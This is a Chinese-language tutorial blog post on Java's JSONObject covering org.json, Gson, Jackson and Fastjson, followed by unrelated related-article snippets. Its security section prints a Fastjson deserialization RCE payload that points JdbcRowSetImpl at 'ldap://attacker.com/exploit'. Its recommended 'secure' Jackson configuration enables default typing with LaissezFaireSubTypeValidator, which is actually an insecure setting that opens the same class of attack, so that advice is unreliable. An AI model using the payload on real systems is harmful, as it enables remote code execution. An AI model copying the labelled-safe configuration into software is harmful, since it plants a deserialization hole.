Java中的JSONObject详解:从基础到高级应用
Java中的JSONObject详解:从基础到高级应用
在当今前后端分离的架构中,JSONObject已成为Java开发者处理JSON数据的瑞士军刀。本文将深入解析JSONObject的核心机制与实战技巧。
一、JSONObject的本质与实现库
1.1 核心定位
JSONObject是Java中表示JSON对象的容器类,其底层采用Map<String, Object>
存储数据。主要实现库包括:
- org.json:轻量级基础库(JSON-Java)
- Fastjson:阿里高性能库(已退役)
- Gson:Google官方库
- Jackson:Spring生态默认库
1.2 核心特性对比
特性 | org.json | Fastjson | Gson | Jackson |
---|---|---|---|---|
序列化速度 | 中等 | 极快 | 快 | 极快 |
反序列化安全 | 安全 | 高危漏洞 | 安全 | 安全 |
内存占用 | 低 | 中等 | 中等 | 低 |
流式API | × | √ | × | √ |
二、基础操作:四步掌握核心API
2.1 创建与初始化
// 空对象创建
JSONObject obj = new JSONObject();// 链式构造
JSONObject user = new JSONObject().put("id", 1001).put("name", "张三").put("isAdmin", true);// Map初始化
Map<String, Object> data = new HashMap<>();
data.put("email", "zhangsan@example.com");
JSONObject fromMap = new JSONObject(data);
2.2 数据存取
// 安全取值(避免NullPointerException)
String name = user.optString("name", "未知");// 类型转换
int id = user.getInt("id");// 嵌套对象访问
JSONObject address = user.getJSONObject("address");
String city = address.getString("city");
2.3 常用工具方法
// 键存在检查
if(user.has("mobile")) {// 处理手机号
}// 删除字段
user.remove("isAdmin");// 转标准JSON字符串
String jsonStr = user.toString();
2.4 迭代遍历
Iterator<String> keys = user.keys();
while(keys.hasNext()) {String key = keys.next();Object value = user.get(key);System.out.println(key + ": " + value);
}
三、类型转换:Java对象与JSON互转
3.1 JavaBean转JSONObject
// Gson实现
Gson gson = new Gson();
User userObj = new User(1001, "张三");
JSONObject userJson = new JSONObject(gson.toJson(userObj));// Jackson实现
ObjectMapper mapper = new ObjectMapper();
JSONObject userJson = mapper.convertValue(userObj, JSONObject.class);
3.2 JSONObject转JavaBean
// org.json实现
User user = new User();
user.setId(userJson.getInt("id"));
user.setName(userJson.getString("name"));// Gson实现
User user = gson.fromJson(userJson.toString(), User.class);
3.3 复杂类型处理
// 日期格式化
Gson gson = new GsonBuilder().setDateFormat("yyyy-MM-dd HH:mm:ss").create();// 泛型集合转换
List<User> users = gson.fromJson(jsonArray.toString(), new TypeToken<List<User>>(){}.getType()
);
四、高级特性:玩转复杂数据结构
4.1 处理嵌套JSON
JSONObject order = new JSONObject();
order.put("orderNo", "20230815001");// 嵌套对象
JSONObject customer = new JSONObject();
customer.put("name", "李四");
order.put("customer", customer);// 嵌套数组
JSONArray products = new JSONArray();
products.put(new JSONObject().put("name", "iPhone").put("price", 6999));
products.put(new JSONObject().put("name", "AirPods").put("price", 1299));
order.put("products", products);
4.2 JSONPath查询
// Jayway JSONPath 实现
DocumentContext ctx = JsonPath.parse(order.toString());
Double totalPrice = ctx.read("$.products[*].price.sum()");// 修改嵌套值
ctx.set("$.customer.name", "王五");
4.3 流式处理(Jackson)
JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(jsonStr);while(parser.nextToken() != null) {String field = parser.getCurrentName();if("price".equals(field)) {parser.nextToken();double price = parser.getDoubleValue();// 处理价格数据}
}
parser.close();
五、性能优化:关键策略与陷阱规避
5.1 序列化性能对比(10万次操作)
库 | 序列化时间 | 反序列化时间 | 内存占用 |
---|---|---|---|
org.json | 650ms | 720ms | 120MB |
Fastjson | 210ms | 230ms | 180MB |
Gson | 380ms | 410ms | 150MB |
Jackson | 190ms | 200ms | 110MB |
5.2 最佳实践
-
对象复用:避免频繁创建JSONObject实例
-
预分配空间:初始化时预估字段数量
JSONObject obj = new JSONObject(20); // 初始容量20
-
选择合适库:
- 高性能场景:Jackson
- Android开发:Gson
- 简单工具类:org.json
-
避免常见陷阱:
// 错误:JSONObject不实现Serializable // 正确:转换为字符串存储 String jsonStr = obj.toString();// 循环引用导致栈溢出 obj.put("self", obj); // 禁止!
六、安全防护:JSON处理中的雷区
6.1 Fastjson漏洞案例
// 反序列化漏洞触发
String maliciousJson = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker.com/exploit\",\"autoCommit\":true}";
JSON.parseObject(maliciousJson); // RCE攻击!
6.2 安全编码规范
-
输入过滤:
if(jsonStr.contains("@type")) {throw new SecurityException("危险数据类型!"); }
-
使用安全配置(Jackson):
ObjectMapper mapper = new ObjectMapper(); mapper.enable(JsonParser.Feature.IGNORE_UNDEFINED); mapper.disable(DeserializationFeature.FAIL_ON_UNKNOWN_PROPERTIES); mapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);
-
升级策略:
- 定期更新JSON库版本
- 使用漏洞扫描工具(OWASP Dependency-Check)
七、实战应用场景
7.1 API请求构建
JSONObject request = new JSONObject();
request.put("apiKey", API_KEY);
request.put("timestamp", System.currentTimeMillis());JSONObject params = new JSONObject();
params.put("page", 1);
params.put("size", 20);
request.put("params", params);// 生成签名
String sign = sign(request.toString());
request.put("sign", sign);
7.2 配置文件解析
# config.json
{"database": {"url": "jdbc:mysql://localhost:3306/app","user": "root"},"threadPool": {"coreSize": 10,"maxSize": 50}
}
JSONObject config = new JSONObject(new FileReader("config.json"));
String dbUrl = config.getJSONObject("database").getString("url");
int coreThreads = config.getJSONObject("threadPool").getInt("coreSize");
7.3 数据脱敏处理
public JSONObject maskSensitive(JSONObject data) {JSONObject masked = new JSONObject(data.toString());if(masked.has("idCard")) {String idCard = masked.getString("idCard");masked.put("idCard", idCard.substring(0,3) + "********" + idCard.substring(14));}if(masked.has("mobile")) {String mobile = masked.getString("mobile");masked.put("mobile", mobile.substring(0,3) + "****" + mobile.substring(7));}return masked;
}
八、未来演进:JSON处理新趋势
8.1 JSON5扩展支持
// 支持注释、单引号等特性
{name: '张三', // 用户姓名age: 28,tags: ['程序员', '摄影师'],
}
8.2 JSON Schema验证
// 使用Everit实现
Schema schema = SchemaLoader.load(new JSONObject("{\"type\":\"object\",\"properties\":{\"age\":{\"type\":\"integer\"}}}"
));
schema.validate(userJson); // 验证数据格式
8.3 二进制JSON方案
- MessagePack:序列化大小比JSON小50%
- BSON:MongoDB的二进制JSON格式
- Smile:Jackson的二进制JSON实现
性能实测:在百万级数据场景下,MessagePack的序列化速度比标准JSON快3倍,网络传输体积减少60%。
结语:JSONObject的哲学思考
JSONObject在Java生态中扮演着数据通用语的角色,其价值体现在三个维度:
- 结构灵活性:自由嵌套的树形结构
- 跨平台性:所有编程语言支持的标准格式
- 开发效率:快速实现对象序列化与传输
终极建议:
- 简单场景:优先选用轻量级org.json
- 高性能要求:选择Jackson或Gson
- 敏感系统:禁用Fastjson,开启安全配置
- 大数据量:考虑二进制JSON方案
根据2023年JVM生态调查报告,JSON处理占典型Web应用CPU时间的15%-30%。合理选择JSON库并优化使用方式,可显著提升系统性能。掌握JSONObject不仅是技术需求,更是现代Java开发者的必备素养。
相关文章:
Java中的JSONObject详解:从基础到高级应用
Java中的JSONObject详解:从基础到高级应用 在当今前后端分离的架构中,JSONObject已成为Java开发者处理JSON数据的瑞士军刀。本文将深入解析JSONObject的核心机制与实战技巧。 一、JSONObject的本质与实现库 1.1 核心定位 JSONObject是Java中表示JSON对…...

Ubuntu22.04 安装 IsaacSim 4.2.0
1. 从官网下载 IsaacSim 4.2.0 安装包 https://download.isaacsim.omniverse.nvidia.com/isaac-sim-standalone%404.2.0-rc.18%2Brelease.16044.3b2ed111.gl.linux-x86_64.release.zip 2. 查阅 Workstation Installation 安装方式 Workstation Installation — Isaac Sim Do…...
子串题解——和为 K 的子数组【LeetCode】
谨记: 数组不是单调的话,不要用滑动窗口,考虑用前缀和 写法一:两次遍历 代码的核心思想是通过 前缀和 和 哈希表 来高效地统计符合条件的子数组个数。具体步骤如下: 计算前缀和数组 s: s[i] 表示 nums 的前…...
深入理解设计模式之访问者模式
深入理解设计模式之访问者模式(Visitor Pattern) 一、什么是访问者模式? 访问者模式(Visitor Pattern)是一种行为型设计模式。它的主要作用是将数据结构与数据操作分离,使得在不改变数据结构的前提下&…...

Java代码重构:如何提升项目的可维护性和扩展性?
Java代码重构:如何提升项目的可维护性和扩展性? 在Java开发领域,随着项目规模的不断扩大和业务需求的频繁变更,代码的可维护性和扩展性逐渐成为了项目成功的关键因素。代码重构作为一种优化代码质量的重要手段,能够在…...

《Python语言程序设计》2018 第4章第9题3重量和价钱的对比,利用第7章的概念来解答你
利用类来解答这个问题。 pack1, price1 50, 24.59 pack2, price2 25, 11.99class result:def __init__(self,pack,price):self.pack packself.price pricedef set_pack(self):return self.packdef set_price(self):return self.pricedef get_result(self):return self.pric…...
Nginx安装操作命令
Nginx官网:https://nginx.org/ Nginx下载地址:http://nginx.org/en/download.html # 重载nginx服务 systemctl reload nginx # 启动nginx服务 systemctl start nginx # 关闭nginx服务 systemctl stop nginx # 设置nginx服务开机自启动 systemctl enable…...

在IIS上无法使用PUT等请求
错误来源: chat:1 Access to XMLHttpRequest at http://101.126.139.3:11000/api/receiver/message from origin http://101.126.139.3 has been blocked by CORS policy: No Access-Control-Allow-Origin header is present on the requested resource. 其实我的后…...
Codeforces Round 1028 (Div. 2) B. Gellyfish and Baby‘s Breath
Codeforces Round 1028 (Div. 2) B. Gellyfish and Baby’s Breath 题目 Flower gives Gellyfish two permutations ∗ ^{\text{∗}} ∗ of [ 0 , 1 , … , n − 1 ] [0, 1, \ldots, n-1] [0,1,…,n−1]: p 0 , p 1 , … , p n − 1 p_0, p_1, \ldots, p_{n-1} p0,p1,……...

数据基座觉醒!大数据+AI如何重构企业智能决策金字塔(上)
1. 数据金字塔的千年进化史 1.1 从地窖到云端的存储革命 某家电企业在2010年遭遇库存危机时,市场部门需要三天才能从纸质单据中统计出全国滞销型号。当他们的数据工程师在2023年轻声唤醒对话式分析机器人,同样的需求响应时间缩短至9秒。 数据分层架构的…...
前端八股HTTP和https大全套
htttp 超文本传输协议 特点 1.CS 支持客户端服务器端模式 2.灵活 传输任意形式的数据 content-type规定 3.明文传输,https解决 4.无连接:每次连接仅处理一个请求 解决:1.1长连接 5.无状态,无法保存两次http连接之间的关联信…...

使用 DeepSeek API 搭建智能体《无间》- 卓伊凡的完整指南 -优雅草卓伊凡
使用 DeepSeek API 搭建智能体《无间》- 卓伊凡的完整指南 -优雅草卓伊凡 作者:卓伊凡 前言:为什么选择 DeepSeek API,而非私有化部署? 在开始搭建智能体之前,我想先说明 为什么推荐使用 DeepSeek API,而…...
量子语言模型——where to go
1️⃣ 在大语言模型(LLM)高度发达的今天,还研究这些小模型(如n-gram、RNN、量子语言模型)是否有意义? ✅ 有意义,但意义已经转变了——不再是用于「直接生产 SOTA 应用」,而是&…...
flutter使用html_editor_enhanced: ^2.6.0后,编辑框无法获取焦点,无法操作
flutter使用html_editor_enhanced: ^2.6.0后,编辑框无法获取焦点,无法操作,报如下错误: PlatformException(error, Unknown feature SUPPRESS_ERROR_PAGE, null, java.lang.RuntimeException: Unknown feature SUPPRESS_ERROR_PA…...

FPGA纯verilog实现MIPI-DSI视频编码输出,提供工程源码和技术支持
目录 1、前言工程概述免责声明 2、相关方案推荐我已有的所有工程源码总目录----方便你快速找到自己喜欢的项目我这里已有的 MIPI 编解码方案 3、设计思路框架工程设计原理框图FPGA内部彩条RGB数据位宽转换RGB数据缓存MIPI-DSI协议层编码MIPI-DPHY物理层串化MIPI-LVDS显示屏工程…...

手写字魔法消除3:深度学习PmrNet神经网络实现图片修复(含训练代码、数据集和GUI交互界面)
第一步:PmrNet介绍 PmrNet是一种基于U-Net架构改进的深度学习网络,来自于论文《Practical Deep Raw Image Denoising on Mobile Devices》,这个网络聚焦于在移动设备上实现高效的原始图像(RAW)去噪(本文用来…...
大数据运维过程中常见的一些操作
大数据运维是确保大数据系统稳定运行、高效处理数据的关键环节。以下是大数据运维过程中常见的一些操作和任务: 1. 集群部署与配置 基础设施搭建:部署服务器、网络设备、存储系统,配置虚拟化环境(如 Docker、Kubernetes…...

opencv使用经典bug
opencv经典bug 1.bug介绍2.解决方案 1.bug介绍 D:\anaconda3\envs\yolo11s\python.exe F:\BYSJ\LX\yolov11-main\OCR_plateRecognition\plateRevise.py Traceback (most recent call last): File "F:\BYSJ\LX\yolov11-main\OCR_plateRecognition\plateRevise.py", l…...
劫持进程注入
劫持进程注入和远程线程注入的区别就是 远程线程注入是向一个正在运行中的进程注入 而劫持进程注入则是自己打开一个进程(以挂起的方式) 然后再进行注入的操作 这样做的原因是当进程在挂起的状态时他的所有线程都是处于未启用的阶段 这样就可以避免目标进程的反注入线程的…...

计算机基础——宏病毒防御与网络技术
文章目录 宏病毒详解与防范措施宏病毒简介宏病毒的特点宏病毒的传播途径宏病毒的防范措施宏病毒的检测与清除 自治计算机与自治系统解析什么是自治计算机?技术特点 自治系统(Autonomous System, AS)特点:自治系统类型 总结&#x…...
深度解析互联网区(Internet ):架构、风险与防护全攻略
在企业网络架构中,互联网区(Internet Zone)是直接暴露在公网的关键区域,承载着Web服务、邮件服务、VPN接入等多种对外服务。由于其直接与互联网连接,安全防护尤为重要。本文将从定义、功能、设备组成、安全风险到防护措…...
2024Flutter面试题
1.Dart是值传递还是引用传递? dart是值传递。 每次调用函数,传递过去的都是对象的内存地址,而不是这个对象的赋值。 2.简述Dart语音特性 在Dart中,一切都是对象,所有的对象都是继承自Object Dart是强类型语言&#…...
C++内存学习
引入 在实例化对象时,不管是编译器还是我们自己,会使用构造函数给成员变量一个合适的初始值。 但是经过构造函数之后,我们还不能将其称为成员变量的初始化: 构造函数中的语句只能称为赋初值,而不能称作初始化 因为初…...

Python uv包管理工具使用详解
一、UV 工具概述 UV 是由 Astral 团队(Ruff 工具开发者)用 Rust 编写的新一代 Python 包管理器,旨在替代传统工具链(如 pip、virtualenv、poetry 等),提供以下核心优势 : 极速性能&a…...
[Linux] Linux 系统从启动到驱动加载
Linux 系统从启动到驱动加载 文章目录 Linux 系统从启动到驱动加载一、硬件上电与 BIOS/UEFI 阶段1. 1 硬件上电初始化1.2 BIOS/UEFI执行过程1.3 Bootloader加载细节 二、Bootloader 阶段三、Linux 内核初始化3.1 架构相关初始化(setup_arch)3.2 核心子系…...

基于微信小程序的云校园信息服务平台设计与实现(源码+定制+开发)云端校园服务系统开发 面向师生的校园事务小程序设计与实现 融合微信生态的智慧校园管理系统开发
博主介绍: ✌我是阿龙,一名专注于Java技术领域的程序员,全网拥有10W粉丝。作为CSDN特邀作者、博客专家、新星计划导师,我在计算机毕业设计开发方面积累了丰富的经验。同时,我也是掘金、华为云、阿里云、InfoQ等平台…...
大语言模型的技术原理与应用前景:从Transformer到ChatGPT
目录 摘要 1. 引言 2. Transformer架构核心原理 2.1 自注意力机制 2.2 位置编码 2.3 前馈神经网络 3. 从GPT到ChatGPT的演进 3.1 GPT系列模型架构 3.2 训练流程优化 4. 应用场景与案例分析 4.1 代码生成 4.2 文本摘要 4.3 问答系统 5. 挑战与未来方向 5.1 当前技…...
如何编写GitLab-CI配置文件
创建文件 在根目录新建.gitlab-ci.yml文件. 该文件与项目其他文件一样, 同样受到版本控制, 所以可以在不同的分支下, 配置不同的持续集成脚本 YAML语法 配置文件遵循YAML语法, 关于该语法的内容, 自行搜索 参考 YAML 语言教程 关键词 根主要关键词一览 关键词含义可选备…...

生成式人工智能:重构软件开发的范式革命与未来生态
引言 生成式人工智能(GenAI)正以颠覆性力量重塑软件开发的底层逻辑。从代码生成到业务逻辑设计,从数据分析到用户交互,GenAI通过其强大的推理能力与场景适应性,将传统开发流程的“复杂工程”转化为“敏捷实验”&#…...
关于 java:4. 异常处理与调试
一、异常核心语法 1.1 try-catch-finally:异常捕获与处理结构 1)作用 用于捕获和处理程序运行过程中可能发生的异常 防止程序因异常中断,提高代码的鲁棒性(健壮性) 2)基本语法结构: try {…...